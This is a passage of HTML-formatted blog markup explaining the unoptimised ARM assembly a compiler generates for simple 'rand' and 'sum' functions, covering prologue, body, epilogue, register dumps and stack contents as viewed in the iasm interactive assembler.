&lt;span class="nf"&gt;r12&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;ip&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;r13&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="nv"&gt;ffc&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;r14&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;lr&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;aaaa&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;aaaa&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;r15&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;span class="err"&gt;------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;----&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;---------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;-----&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;label for='CltpYXNtXShodHRwczovL2dpdGh1Yi5jb20vYmFkLWFkZHJlc3MvaWFzbSksIHRoZSBpbnRlcmFjdGl2ZSBhc3NlbWJsZXIsCmFsbG93cyB0byBleHBsb3JlIHRoZSBtZW1vcnkgd2l0aCB0aGUgYE1gIG9iamVjdC4gYE1bc3A6XWAgbWVhbnMgc2hvdwp0aGUgbWVtb3J5IGZyb20gdGhlIGFkZHJlc3Mgc3RvcmVkIGluIGBzcGAgdG8gdGhlIGxhc3QgYWRkcmVzcyBtYXBwZWQKcGFnZS4KCkluIG90aGVyIHdvcmRzOiBzaG93IHRoZSBzdGFjay4KIG1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CltpYXNtXShodHRwczovL2dpdGh1Yi5jb20vYmFkLWFkZHJlc3MvaWFzbSksIHRoZSBpbnRlcmFjdGl2ZSBhc3NlbWJsZXIsCmFsbG93cyB0byBleHBsb3JlIHRoZSBtZW1vcnkgd2l0aCB0aGUgYE1gIG9iamVjdC4gYE1bc3A6XWAgbWVhbnMgc2hvdwp0aGUgbWVtb3J5IGZyb20gdGhlIGFkZHJlc3Mgc3RvcmVkIGluIGBzcGAgdG8gdGhlIGxhc3QgYWRkcmVzcyBtYXBwZWQKcGFnZS4KCkluIG90aGVyIHdvcmRzOiBzaG93IHRoZSBzdGFjay4KIG1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;a href="https://github.com/bad-address/iasm"&gt;iasm&lt;/a&gt;, the interactive assembler, allows to explore the memory with the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;M&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; object. &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;M&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; means show the memory from the address stored in &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;sp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to the last address mapped page.
&lt;br /&gt;&lt;br /&gt;
In other words: show the stack.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;And the state of the stack is:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt; &lt;span class="n"&gt;M&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;\&lt;span class="n"&gt;xbb&lt;/span&gt;\&lt;span class="n"&gt;xbb&lt;/span&gt;\&lt;span class="n"&gt;xbb&lt;/span&gt;\&lt;span class="n"&gt;xbb&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
       &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt; &lt;span class="n"&gt;M&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;\&lt;span class="n"&gt;xbb&lt;/span&gt;\&lt;span class="n"&gt;xbb&lt;/span&gt;\&lt;span class="n"&gt;xbb&lt;/span&gt;\&lt;span class="n"&gt;xbb&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
       &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;sp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; points always to the latest value of the stack; &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;fp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; points to the previous &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;fp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; value (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;xbbbbbbbb&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; in this case).&lt;/p&gt;
&lt;h3 id="body"&gt;Body&lt;/h3&gt;
&lt;p&gt;The assembler didn’t optimize the code: it stored in &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r3&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; the immediate value of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="c1"&gt;#66&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; (0x42) to then copy it to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; (the register used for returning values). &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#66&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; would be shorter.&lt;/p&gt;
&lt;h3 id="epilogue"&gt;Epilogue&lt;/h3&gt;
&lt;p&gt;Then the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;sp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is restored to the current &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;fp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;fp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is restored to the previous &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;fp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; value with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#4&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This load is a &lt;em&gt;pre-index&lt;/em&gt; addressing with &lt;em&gt;post write-back&lt;/em&gt;. That’s it, the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;fp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is loaded with the valued pointed by &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;sp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and then &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;sp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is added 4 bytes (aka pop).&lt;/p&gt;
&lt;p&gt;The compiler however should optimize this because the stack is not used at all so saving and restoring &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;fp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; has no value.&lt;/p&gt;
&lt;p&gt;What the compiled did, it didn’t save the &lt;em&gt;link&lt;/em&gt; register &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;lr&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The register holds the address to where return from a call. Because &lt;code class="none"&gt;rand&lt;/code&gt; doesn’t call anything, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;lr&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; from the caller is preserved so it is not needed to save it in the stack.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;bx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;lr&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; returns to the caller.&lt;/p&gt;
&lt;h2 id="the-sum-function"&gt;The &lt;code class="none"&gt;sum&lt;/code&gt; function&lt;/h2&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nl"&gt;sum:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-4]!&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#12&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-8]&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-12]&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-8]&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-12]&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#4&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;bx&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nv"&gt;lr&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;.size&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nv"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;.&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;sum&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3 id="prologue-1"&gt;Prologue&lt;/h3&gt;
&lt;p&gt;In this case the function allocates 12 bytes to hold local variables (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#12&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;The second argument &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is stored in the top of the stack; the first argument &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is stored below. Arguments are pushed from left (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;) to right (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;The call convention says that the arguments are passed via registers (up to 4 args). They are set by the caller and, if needed, the callee needs to preserve them in the stack.&lt;/p&gt;
&lt;p&gt;No really needed here because &lt;code class="none"&gt;sum&lt;/code&gt; does not call other function but still the compiler follows the cookbook.&lt;/p&gt;
&lt;p&gt;The function allocated 12 byte to hold 3 variables of 32 bits. We stored 2, the arguments, but the third element is never set.&lt;/p&gt;
&lt;p&gt;The registers at the begin of the call were:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;---------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;---------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;---------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;---------&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;r0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;cccc&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;cccc&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;r1&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nv"&gt;dddd&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;dddd&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;r2&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;r4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nb"&gt;r5&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nb"&gt;r6&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nb"&gt;r7&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;r8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nb"&gt;r9&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;sb&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nb"&gt;r10&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nb"&gt;r11&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;bbbb&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;bbbb&lt;/span&gt;
&lt;span class="nf"&gt;r12&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;ip&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nb"&gt;r13&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;2000&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="nb"&gt;r14&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;lr&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;aaaa&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;aaaa&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;r15&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="err"&gt;------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;---------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;---------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;---------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;---------&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And after the stores, the stack has:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt; &lt;span class="n"&gt;M&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;\&lt;span class="n"&gt;xdd&lt;/span&gt;\&lt;span class="n"&gt;xdd&lt;/span&gt;\&lt;span class="n"&gt;xdd&lt;/span&gt;\&lt;span class="n"&gt;xdd&lt;/span&gt;\&lt;span class="n"&gt;xcc&lt;/span&gt;\&lt;span class="n"&gt;xcc&lt;/span&gt;\&lt;span class="n"&gt;xcc&lt;/span&gt;\&lt;span class="n"&gt;xcc&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;\&lt;span class="n"&gt;xbb&lt;/span&gt;\&lt;span class="n"&gt;xbb&lt;/span&gt;\&lt;span class="n"&gt;xbb&lt;/span&gt;\&lt;span class="n"&gt;xbb&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
       &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;            &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;            &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="err"&gt;??&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;            &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt; &lt;span class="n"&gt;M&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;\&lt;span class="n"&gt;xbb&lt;/span&gt;\&lt;span class="n"&gt;xbb&lt;/span&gt;\&lt;span class="n"&gt;xbb&lt;/span&gt;\&lt;span class="n"&gt;xbb&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
       &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;I presume that the unused space (??) is for the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;lr&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; register.&lt;/p&gt;
&lt;h2 id="the-main-function"&gt;The &lt;code class="none"&gt;main&lt;/code&gt; function&lt;/h2&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nl"&gt;main:&lt;/span&gt;
